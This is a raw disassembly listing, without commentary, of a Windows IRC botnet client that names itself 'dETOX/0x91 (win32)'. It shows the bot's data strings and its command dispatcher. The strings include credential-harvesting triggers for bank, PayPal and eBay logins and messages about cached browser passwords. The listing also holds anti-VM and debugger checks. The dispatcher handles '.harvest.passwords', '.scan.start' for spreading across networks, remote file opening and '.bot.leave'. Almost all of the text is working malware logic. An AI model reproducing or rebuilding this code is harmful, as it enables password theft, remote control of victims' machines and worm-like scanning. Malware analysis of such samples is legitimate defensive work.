dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_403F84 dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 696E7302h
; DATA XREF: sub_409834+9Do
dd 72656666h, 202D0203h, 0A0D7325h, 0
aOper db 'OPER',0 ; DATA XREF: sub_409834+6Co
align 10h
aJoin db 'JOIN',0 ; DATA XREF: sub_409834+5Bo
align 4
aBank db 'bank',0 ; DATA XREF: sub_409834+50o
align 10h
aLogin db 'login',0 ; DATA XREF: sub_409834+3Fo
; sub_409834+7Do
align 4
aEBay db 'e-bay',0 ; DATA XREF: sub_409834+2Eo
align 10h
aEbay db 'ebay',0 ; DATA XREF: sub_409834+1Do
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_409834+Co
align 10h
dword_403FE0 dd 5B207325h, 2333003h, 65746E45h, 5D020372h, 6E695720h
; DATA XREF: sub_4098E2+108o
; sub_4098E2+2D0o
dd 3A776F64h, 73252820h, 29h
dd 2333003h, 2036425h, 20732520h, 2333003h, 2036425h, 20732520h
; DATA XREF: sub_409D65+D9o
dd 2333003h, 2036425h, 732520h
aMinute db 'minute',0 ; DATA XREF: sub_409D65+CEo
align 4
aMinutes db 'minutes',0 ; DATA XREF: sub_409D65+C7o
aHour db 'hour',0 ; DATA XREF: sub_409D65+BFo
align 4
aHours db 'hours',0 ; DATA XREF: sub_409D65+B8o
align 4
aDay db 'day',0 ; DATA XREF: sub_409D65+B0o
aDays db 'days',0 ; DATA XREF: sub_409D65+A0o
align 10h
dword_404050 dd 646E6957h, 2073776Fh, 2333003h, 2037325haD_DBuildD db ' [%d.%d Build %d]',0
dw 0
dword_404074 dd 3F3F3Fh a2003 db '2003',0 ; DATA XREF: sub_409E5D+8Fo
align 10h
aXp db 'XP',0 ; DATA XREF: sub_409E5D+85o
align 4
a2000 db '2000',0 ; DATA XREF: sub_409E5D+79o
align 4
aMe db 'ME',0 ; DATA XREF: sub_409E5D+65o
align 10h
a98 db '98',0 ; DATA XREF: sub_409E5D+59o
align 4
aNt db 'NT',0 ; DATA XREF: sub_409E5D+4Do
align 4
a95 db '95',0 ; DATA XREF: sub_409E5D+3Ao
align 4
dd 3430032Dh, 73797302h, 206D6574h, 6F666E69h, 202D0203h
; DATA XREF: sub_409F1F+57o
dd 72207325h, 696E6E75h, 6620676Eh, 2520726Fh, 6E6F2073h
dd 534F2820h, 73252029h, 50432820h, 3202955h, 25023330h
dd 20020364h, 207A484Dh, 68746977h, 41522820h, 320294Dh
dd 25023330h, 64252F64h, 4D200203h, 42h, 56495250h, 2047534Dh
dd 3A207325h, 7325202Dh, 0A0Dh, 56495250h, 2047534Dh, 3A207325h
dd 6F64202Dh, 6C20656Eh, 69747369h, 6620676Eh, 646E756Fh
dd 34300320h, 3642502h, 61702002h, 6F777373h, 0D736472h
dd 0Ah, 2333003h, 63204549h, 65686361h, 20020364h, 73736170h
dd 64726F77h, 756F6620h, 203A646Eh, 77207325h, 20687469h
dd 253A7325h, 73h, 2Ch, 2333003h, 63204549h, 65687361h
dd 20020364h, 73736170h, 64726F77h, 756F6620h, 203A646Eh
dd 77207325h, 20687469h, 7325h, 70747468h, 2F3A73h, 70747468h
dd 2F3Ah, 7274533Ah, 676E69h, 69727453h, 6E49676Eh, 786564h
dd 31363165h, 61353532h, 0
dword_4041D8 dd 2333003h, 50204549h, 77737361h, 2D64726Fh, 746F7250h
; DATA XREF: MEW:0040A221o
dd 65746365h, 20020364h, 6E756F66h, 25203A64h, 69772073h
dd 25206874h, 73h, 65376535h, 30303138h, 0
dword_404214 dd 737725h, 7825h, 0dword_404220 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh, 6F745350h
; DATA XREF: MEW:0040A02Eo
; MEW:0040A0ADo
dd 72436572h, 65746165h, 74736E49h, 65636E61h, 0
dword_404248 dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 73617002h
; DATA XREF: MEW:00409FD4o
dd 726F7773h, 2037364h, 696C202Dh, 6E697473h, 6C612067h
dd 6163206Ch, 64656863h, 73617020h, 726F7773h, 0A0D7364h
dd 0
dword_404288 dd 6F747370h, 2E636572h, 6C6C64hunk_404294 db 2Dh ; - ; DATA XREF: sub_40A5D5+42o
db 3, 30h, 33h
db 2
db 25h, 64h, 3
db 2
aSPriorityDPidD db '- %s (priority: %d) [pid: %d]',0
align 4
unk_4042BC db 25h ; % ; DATA XREF: sub_40A5D5+14o
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 72h ; r
db 6Fh, 75h, 74h
db 69h ; i
db 6Eh, 65h, 3
db 2
aListingAllStar db '- listing all started threads',0Dh,0Ah,0
align 4
aR_1: ; DATA XREF: sub_40A690o
unicode 0, <r>,0
aCCCCCCC db '%c%c%c%c%c%c%c',0 ; DATA XREF: sub_40A6A6+C1o
align 4
a0123456789abcd db '0123456789abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_40A6A6+27o
align 10h
aSoftwareVmware db 'SOFTWARE\VMware, Inc.\',0 ; DATA XREF: sub_40AA5D+Fo
align 4
aIsdebuggerpres db 'IsDebuggerPresent',0 ; DATA XREF: sub_40AAA5:loc_40AADCo
align 4
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_40AAA5:loc_40AAC1o
align 10h
dword_404370 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh, 40449Ch, 0
; DATA XREF: sub_40AE7E+15o
a_?av_com_error db '.?AV_com_error@@',0
align 10h
off_4043A0 dd offset off_40449C ; DATA XREF: MEW:off_4044E8o
; MEW:00404524o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
flt_4043B8 dd 9.765625e-4 ; DATA XREF: sub_404530+45Br
flt_4043BC dd 0.0 ; DATA XREF: sub_404530+42Br
flt_4043C0 dd 1.0e-3 ; DATA XREF: sub_404530+41Fr
align 8
dword_4043C8 dd 0FFFFFFFFh, 40514Dh, 405151h, 0dword_4043D8 dd 0FFFFFFFFh, 405289h, 40528Dh, 0dword_4043E8 dd 0FFFFFFFFh, 40548Ah, 40548Eh, 0dword_4043F8 dd 0FFFFFFFFh, 405593h, 405597h, 0dword_404408 dd 0FFFFFFFFh, 405CCCh, 405CD0h, 0dword_404418 dd 0FFFFFFFFh, 405DA4h, 405DA8h, 0dword_404428 dd 0FFFFFFFFh, 40726Fh, 407273h, 0dword_404438 dd 0FFFFFFFFh, 407526h, 40752Ah, 0dword_404448 dd 0FFFFFFFFh, 407F2Ah, 407F2Eh, 0dword_404458 dd 0FFFFFFFFh, 409C55h, 409C59h, 0dword_404468 dd 0FFFFFFFFh, 40A510h, 40A514h, 0dword_404478 dd 0FFFFFFFFh, 40A7F9h, 40A7FDh, 0dbl_404488 dq -3.0517578125e-5 ; DATA XREF: sub_40A818+2Cr
dd offset dword_4044D0
off_404494 dd offset sub_40AF35 ; DATA XREF: sub_40AF03+12o
; MEW:0040AF6Ao ...
dd offset dword_404518
off_40449C dd offset sub_40AFAA ; DATA XREF: MEW:off_4043A0o
off_4044A0 dd offset dword_404370+10h ; DATA XREF: MEW:004044B8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_4044A0
dword_4044BC dd 3 dup(0) dd 1, 4044B8h
dword_4044D0 dd 3 dup(0) dd offset dword_404370+10h
dd offset dword_4044BC+4
align 8
off_4044E8 dd offset off_4043A0 ; DATA XREF: MEW:00404500o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_4044E8
dd 0
db 0 ; DATA XREF: MEW:00404528o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 404500h
dword_404518 dd 3 dup(0) dd offset off_4043A0
dd offset unk_404508
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404530 proc near ; CODE XREF: sub_4055A6+300p
; sub_4055A6+637p
var_1F4 = qword ptr -1F4h
var_1EC = qword ptr -1ECh
var_1E4 = dword ptr -1E4h
var_1E0 = dword ptr -1E0h
var_1DC = dword ptr -1DCh
var_1D8 = byte ptr -1D8h
var_158 = dword ptr -158h
var_154 = byte ptr -154h
var_D4 = dword ptr -0D4h
var_D0 = dword ptr -0D0h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4043C8
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1E4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
wait
and [ebp+var_4], 0
mov edi, offset asc_401ADC ; " "
push edi
mov esi, [ebp+arg_0]
push dword ptr [esi+0Ch]
call sub_40ABB8
pop ecx
pop ecx
mov ebx, eax
mov [ebp+var_9C], ebx
mov [ebp+var_1C], 1
loc_404580: ; CODE XREF: sub_404530+73j
cmp [ebp+var_1C], 20h
jge short loc_4045A5
push edi
push 0
call sub_40ABB8
pop ecx
pop ecx
mov ecx, [ebp+var_1C]
mov [ebp+ecx*4+var_9C], eax
inc [ebp+var_1C]
mov ebx, [ebp+var_9C]
jmp short loc_404580
; ---------------------------------------------------------------------------
loc_4045A5: ; CODE XREF: sub_404530+54j
push offset a_bot_compilati ; ".bot.compilation"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_4045CA
push offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
push dword ptr [esi+4]
push dword ptr [esi]
push offset unk_401A88
jmp loc_405142
; ---------------------------------------------------------------------------
loc_4045CA: ; CODE XREF: sub_404530+84j
push offset a_bot_leave ; ".bot.leave"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_4045F4
push offset aQuitGodHatesUs ; "QUIT :god hates us all\r\n"
call sub_405185
pop ecx
call dword_401248
push 1
call dword_4010F0 ; ExitProcess
loc_4045F4: ; CODE XREF: sub_404530+A9j
push offset dword_401A54
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_40461A
call sub_409D65
loc_40460A: ; CODE XREF: sub_404530+100j
; sub_404530+145j ...
push eax
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_401A48
jmp loc_405142
; ---------------------------------------------------------------------------
loc_40461A: ; CODE XREF: sub_404530+D3j
push offset dword_401A40
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404632
call sub_409E5D
jmp short loc_40460A
; ---------------------------------------------------------------------------
loc_404632: ; CODE XREF: sub_404530+F9j
push offset dword_401A38
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_40465F
push dword_40B244
call sub_40715A
pop ecx
push eax
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_401A10
jmp loc_405142
; ---------------------------------------------------------------------------
loc_40465F: ; CODE XREF: sub_404530+111j
push offset dword_401A00
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404677
call sub_409F1F
jmp short loc_40460A
; ---------------------------------------------------------------------------
loc_404677: ; CODE XREF: sub_404530+13Ej
push offset dword_4019F0
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_4046BA
push dword_40B270
movzx eax, word_40B0D0
push eax
push dword_40B244
call sub_40715A
pop ecx
push eax
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_4019A0
loc_4046AD: ; CODE XREF: sub_404530+ACFj
call sub_405185
add esp, 18h
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_4046BA: ; CODE XREF: sub_404530+156j
push offset a_harvest_passw ; ".harvest.passwords"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_40472D
cmp [ebp+var_98], eax
jnz short loc_4046DF
cmp [ebp+var_94], eax
jz loc_40514A
loc_4046DF: ; CODE XREF: sub_404530+1A1j
mov esi, offset aPasswordFinder ; "Password Finder"
push esi
call sub_40A64F
pop ecx
test eax, eax
jnz loc_40514A
push offset dword_401978
push [ebp+var_98]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz loc_40514A
mov eax, [ebp+var_94]
mov [ebp+var_A8], eax
push esi
push 1
lea eax, [ebp+var_A8]
push eax
push offset loc_409FA1
jmp loc_404CE3
; ---------------------------------------------------------------------------
loc_40472D: ; CODE XREF: sub_404530+199j
push offset dword_40196C
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_4047B7
mov edi, [ebp+var_98]
test edi, edi
jz loc_40514A
mov eax, dword_40372C
imul eax, 1Ch
push off_401BA4[eax]
push edi
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_40479E
cmp byte_40B240, al
jnz short loc_40478E
push [ebp+var_94]
push edi
push offset dword_40195C
call sub_405185
add esp, 0Ch
mov byte_40B240, 1
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_40478E: ; CODE XREF: sub_404530+23Cj
push edi
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_40192C
jmp loc_405142
; ---------------------------------------------------------------------------
loc_40479E: ; CODE XREF: sub_404530+234j
push [ebp+var_94]
push edi
push offset dword_40195C
loc_4047AA: ; CODE XREF: sub_404530+304j
; sub_404530+5EEj ...
call sub_405185
add esp, 0Ch
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_4047B7: ; CODE XREF: sub_404530+20Cj
push offset dword_401920
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404839
mov edi, [ebp+var_98]
test edi, edi
jz loc_40514A
mov eax, dword_40372C
imul eax, 1Ch
push off_401BA4[eax]
push edi
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404828
cmp byte_40B240, al
jz short loc_404818
push [ebp+var_94]
push edi
push offset dword_401910
call sub_405185
add esp, 0Ch
and byte_40B240, 0
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_404818: ; CODE XREF: sub_404530+2C6j
push edi
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_4018E0
jmp loc_405142
; ---------------------------------------------------------------------------
loc_404828: ; CODE XREF: sub_404530+2BEj
push [ebp+var_94]
push edi
push offset dword_401910
jmp loc_4047AA
; ---------------------------------------------------------------------------
loc_404839: ; CODE XREF: sub_404530+296j
push offset dword_4018D4
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404878
and byte_40B274, al
and byte_40B240, al
push dword_40B280
call sub_408616
mov [esp+0Ch+var_C], 0FA0h
call dword_4010F4 ; Sleep
call sub_4052A5
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_404878: ; CODE XREF: sub_404530+318j
push offset dword_4018C4
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz loc_404A11
cmp [ebp+var_98], eax
jz loc_40514A
cmp [ebp+var_94], eax
jz loc_40514A
cmp [ebp+var_90], eax
jz loc_40514A
push offset dword_4018C0
push [ebp+var_90]
call sub_40AFA4
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
mov byte ptr [ebp+var_B0], bl
push offset dword_4018BC
push [ebp+var_8C]
call sub_40AFA4
add esp, 10h
neg eax
sbb al, al
inc al
mov byte ptr [ebp+var_B8], al
call dword_4010FC ; GetTickCount
mov [ebp+var_B4], eax
push [ebp+var_B8]
push [ebp+var_B0]
push [ebp+var_94]
push [ebp+var_98]
call sub_408825
add esp, 10h
mov edi, eax
mov [ebp+var_AC], edi
test edi, edi
jz loc_4049FC
call dword_4010FC ; GetTickCount
mov [ebp+var_BC], eax
sub eax, [ebp+var_B4]
mov dword ptr [ebp+var_1EC], eax
and dword ptr [ebp+var_1EC+4], 0
fild [ebp+var_1EC]
fmul flt_4043C0
fst [ebp+var_C8]
fcom flt_4043BC
fnstsw ax
sahf
jnz short loc_404970
fstp st
fld1
fst [ebp+var_C8]
loc_404970: ; CODE XREF: sub_404530+434j
mov dword ptr [ebp+var_1F4], edi
and dword ptr [ebp+var_1F4+4], 0
fild [ebp+var_1F4]
fdiv st, st(1)
fst [ebp+var_C0]
fmul flt_4043B8
fstp [ebp+var_C4]
test bl, bl
fld [ebp+var_C4]
jnz short loc_4049D4
call sub_40ABC6
push eax
call sub_40ABC6
push eax
shr edi, 0Ah
push edi
push [ebp+var_94]
push [ebp+var_98]
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_401858
loc_4049C7: ; CODE XREF: sub_404530+4CAj
call sub_405185
add esp, 20h
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_4049D4: ; CODE XREF: sub_404530+46Fj
call sub_40ABC6
push eax
call sub_40ABC6
push eax
shr edi, 0Ah
push edi
push [ebp+var_94]
push [ebp+var_98]
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_4017E8
jmp short loc_4049C7
; ---------------------------------------------------------------------------
loc_4049FC: ; CODE XREF: sub_404530+3F4j
push [ebp+var_98]
push dword ptr [esi+4]
push dword ptr [esi]
push offset unk_4017B4
jmp loc_405142
; ---------------------------------------------------------------------------
loc_404A11: ; CODE XREF: sub_404530+357j
push offset a_open ; ".open"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404A5F
mov edi, [ebp+var_98]
cmp edi, eax
jz loc_40514A
push 5
push eax
push eax
push edi
push offset aOpen ; "open"
push eax
call dword_4011C8
test eax, eax
push edi
push dword ptr [esi+4]
push dword ptr [esi]
jz short loc_404A55
push offset dword_401770
jmp loc_405142
; ---------------------------------------------------------------------------
loc_404A55: ; CODE XREF: sub_404530+519j
push offset dword_401740
jmp loc_405142
; ---------------------------------------------------------------------------
loc_404A5F: ; CODE XREF: sub_404530+4F0j
push offset a_scan_start ; ".scan.start"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz loc_404CED
mov ebx, [ebp+var_98]
xor edi, edi
cmp ebx, edi
jz loc_40514A
cmp [ebp+var_94], edi
jz loc_40514A
cmp [ebp+var_90], edi
jz loc_40514A
cmp [ebp+var_8C], edi
jz loc_40514A
cmp [ebp+var_88], edi
jz loc_40514A
cmp [ebp+var_84], edi
jz loc_40514A
push offset aScanner ; "Scanner"
call sub_40A64F
pop ecx
test eax, eax
jnz loc_40514A
push offset dword_4018C0
push ebx
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_404B23
push 6
push 5
call sub_40A818
pop ecx
pop ecx
mov [ebp+var_1C], eax
mov ecx, eax
imul ecx, 2Ch
mov cx, word ptr dword_402BE0[ecx]
mov word_40B254, cx
loc_404B05: ; CODE XREF: sub_404530+63Aj
mov dword_40B258, eax
loc_404B0A: ; CODE XREF: sub_404530+619j
cmp word_40B254, 0
jnz short loc_404B71
push dword ptr [esi+4]
push dword ptr [esi]
push offset unk_4016EC
jmp loc_4047AA
; ---------------------------------------------------------------------------
loc_404B23: ; CODE XREF: sub_404530+5B2j
push ebx
call sub_40ABAC
pop ecx
mov word_40B254, ax
mov dword_40B258, edi
mov [ebp+var_1C], edi
loc_404B39: ; CODE XREF: sub_404530+63Fj
mov eax, [ebp+var_1C]
imul eax, 2Ch
lea edi, dword_402BE0[eax]
cmp word ptr [edi], 0
jz short loc_404B0A
push ebx
lea eax, dword_402BC8[eax]
push eax
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_404B6C
mov ax, [edi]
mov word_40B254, ax
mov eax, [ebp+var_1C]
jmp short loc_404B05
; ---------------------------------------------------------------------------
loc_404B6C: ; CODE XREF: sub_404530+62Cj
inc [ebp+var_1C]
jmp short loc_404B39
; ---------------------------------------------------------------------------
loc_404B71: ; CODE XREF: sub_404530+5E2j
push offset aS_0 ; "-s"
push [ebp+var_94]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_404BE9
push 10h
call sub_40ABA6
mov esi, eax
mov [ebp+var_1E4], esi
mov [ebp+var_CC], esi
push off_403730
push esi
call sub_40ABA0
add esp, 0Ch
mov [ebp+var_D0], esi
mov eax, offset a_ ; "."
push eax
push eax
push esi
call sub_40AB9A
pop ecx
pop ecx
inc eax
push eax
call sub_40AB9A
pop ecx
pop ecx
mov [ebp+var_D4], eax
and byte ptr [eax+1], 0
push 0
push 0
push esi
push offset aSD_D ; "%s%d.%d"
push esi
call sub_40AB94
add esp, 14h
push esi
jmp short loc_404C0C
; ---------------------------------------------------------------------------
loc_404BE9: ; CODE XREF: sub_404530+655j
push offset asc_4016D8 ; "-x"
push [ebp+var_94]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_404C06
call sub_407125
jmp short loc_404C12
; ---------------------------------------------------------------------------
loc_404C06: ; CODE XREF: sub_404530+6CDj
push [ebp+var_94]
loc_404C0C: ; CODE XREF: sub_404530+6B7j
call dword_40124C
loc_404C12: ; CODE XREF: sub_404530+6D4j
mov dword_40B250, eax
push [ebp+var_90]
call sub_40ABAC
mov dword_40B260, eax
mov [esp+0Ch+var_C], offset aR ; "-r"
push [ebp+var_8C]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_404C47
and dword_40B268, eax
jmp short loc_404C6B
; ---------------------------------------------------------------------------
loc_404C47: ; CODE XREF: sub_404530+70Dj
push offset asc_4016D8 ; "-x"
push [ebp+var_8C]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz loc_40514A
mov dword_40B268, 1
loc_404C6B: ; CODE XREF: sub_404530+715j
push [ebp+var_88]
call sub_40ABAC
pop ecx
mov dword_40B264, eax
test eax, eax
jge short loc_404C85
mov eax, 80h
loc_404C85: ; CODE XREF: sub_404530+74Ej
mov dword_40B264, eax
mov ecx, 1002h
cmp eax, ecx
jle short loc_404C95
mov eax, ecx
loc_404C95: ; CODE XREF: sub_404530+761j
mov dword_40B264, eax
push [ebp+var_84]
call sub_40ABAC
pop ecx
mov dword_40B25C, eax
and byte_40B26C, 0
cmp [ebp+var_80], 0
jz short loc_404CD2
push offset asc_4016D0 ; "-l"
push [ebp+var_80]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_404CD2
mov byte_40B26C, 1
loc_404CD2: ; CODE XREF: sub_404530+786j
; sub_404530+799j
push offset aScanner ; "Scanner"
push 1
push offset dword_40B250
push offset sub_407282
loc_404CE3: ; CODE XREF: sub_404530+1F8j
call sub_40A45C
jmp loc_405147
; ---------------------------------------------------------------------------
loc_404CED: ; CODE XREF: sub_404530+53Ej
push offset a_scan_enable ; ".scan.enable"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz loc_404D83
cmp [ebp+var_98], eax
jz loc_40514A
and [ebp+var_1C], eax
loc_404D11: ; CODE XREF: sub_404530+842j
mov edi, [ebp+var_1C]
imul edi, 2Ch
cmp word ptr dword_402BE0[edi], 0
push [ebp+var_98]
jz short loc_404D74
lea eax, dword_402BC8[edi]
push eax
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_404D6F
cmp byte_402BF0[edi], al
push off_402BDC[edi]
push dword ptr [esi+4]
push dword ptr [esi]
jz short loc_404D56
push offset unk_401688
jmp loc_405142
; ---------------------------------------------------------------------------
loc_404D56: ; CODE XREF: sub_404530+81Aj
push offset dword_401658
call sub_405185
add esp, 10h
mov byte_402BF0[edi], 1
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_404D6F: ; CODE XREF: sub_404530+807j
inc [ebp+var_1C]
jmp short loc_404D11
; ---------------------------------------------------------------------------
loc_404D74: ; CODE XREF: sub_404530+7F5j
; sub_404530+8C7j
push dword ptr [esi+4]
push dword ptr [esi]
push offset unk_401618
jmp loc_405142
; ---------------------------------------------------------------------------
loc_404D83: ; CODE XREF: sub_404530+7CCj
push offset dword_401608
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404DC3
push offset aScanner ; "Scanner"
call sub_40A64F
pop ecx
test eax, eax
jz loc_40514A
push dword_40B0C8
call sub_40715A
pop ecx
push eax
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_4015CC
jmp loc_405142
; ---------------------------------------------------------------------------
loc_404DC3: ; CODE XREF: sub_404530+862j
push offset a_scan_disable ; ".scan.disable"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404E4A
cmp [ebp+var_98], eax
jz loc_40514A
and [ebp+var_1C], eax
loc_404DE3: ; CODE XREF: sub_404530+918j
mov edi, [ebp+var_1C]
imul edi, 2Ch
cmp word ptr dword_402BE0[edi], 0
push [ebp+var_98]
jz loc_404D74
lea eax, dword_402BC8[edi]
push eax
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_404E45
cmp byte_402BF0[edi], al
push off_402BDC[edi]
push dword ptr [esi+4]
push dword ptr [esi]
jnz short loc_404E2C
push offset unk_401584
jmp loc_405142
; ---------------------------------------------------------------------------
loc_404E2C: ; CODE XREF: sub_404530+8F0j
push offset dword_401554
call sub_405185
add esp, 10h
and byte_402BF0[edi], 0
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_404E45: ; CODE XREF: sub_404530+8DDj
inc [ebp+var_1C]
jmp short loc_404DE3
; ---------------------------------------------------------------------------
loc_404E4A: ; CODE XREF: sub_404530+8A2j
push offset dword_401548
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404EBA
mov edi, offset aScanner ; "Scanner"
push edi
call sub_40A64F
pop ecx
test eax, eax
jz loc_40514A
and byte_40B248, 0
push 1388h
call dword_4010F4 ; Sleep
push edi
call sub_40A64F
push eax
call sub_40A56C
push dword_40B0C8
call sub_40715A
add esp, 0Ch
push eax
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_401510
call sub_405185
add esp, 10h
and dword_40B0C8, 0
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_404EBA: ; CODE XREF: sub_404530+929j
push offset dword_401504
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz loc_404F7A
xor ebx, ebx
mov [ebp+var_158], ebx
push offset dword_4014F0
lea eax, [ebp+var_154]
push eax
call sub_40AB94
pop ecx
pop ecx
mov [ebp+var_1C], ebx
mov edi, 80h
loc_404EF2: ; CODE XREF: sub_404530+A0Fj
mov eax, [ebp+var_1C]
imul eax, 2Ch
cmp word ptr dword_402BE0[eax], bx
jz short loc_404F41
mov ecx, dword_402BE8[eax]
add [ebp+var_158], ecx
push off_402BDC[eax]
push ecx
push offset dword_4014E0
lea eax, [ebp+var_1D8]
push eax
call sub_40AB94
push edi
lea eax, [ebp+var_1D8]
push eax
lea eax, [ebp+var_154]
push eax
call sub_40AB8E
add esp, 1Ch
inc [ebp+var_1C]
jmp short loc_404EF2
; ---------------------------------------------------------------------------
loc_404F41: ; CODE XREF: sub_404530+9CFj
push [ebp+var_158]
push offset dword_4014C8
lea eax, [ebp+var_1D8]
push eax
call sub_40AB94
push edi
lea eax, [ebp+var_1D8]
push eax
lea eax, [ebp+var_154]
push eax
call sub_40AB8E
add esp, 18h
